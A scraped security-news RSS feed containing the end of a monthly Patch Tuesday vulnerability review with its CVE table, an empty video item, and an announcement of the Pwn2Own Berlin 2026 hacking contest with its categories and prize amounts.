  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Manage Your AI Before It Makes the Wrong Decision]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694536/it-security-video/how-to-manage-your-ai-before-it-makes-the-wrong-decision/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694536/it-security-video/how-to-manage-your-ai-before-it-makes-the-wrong-decision/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:25 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/SVAwzodyFUo"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
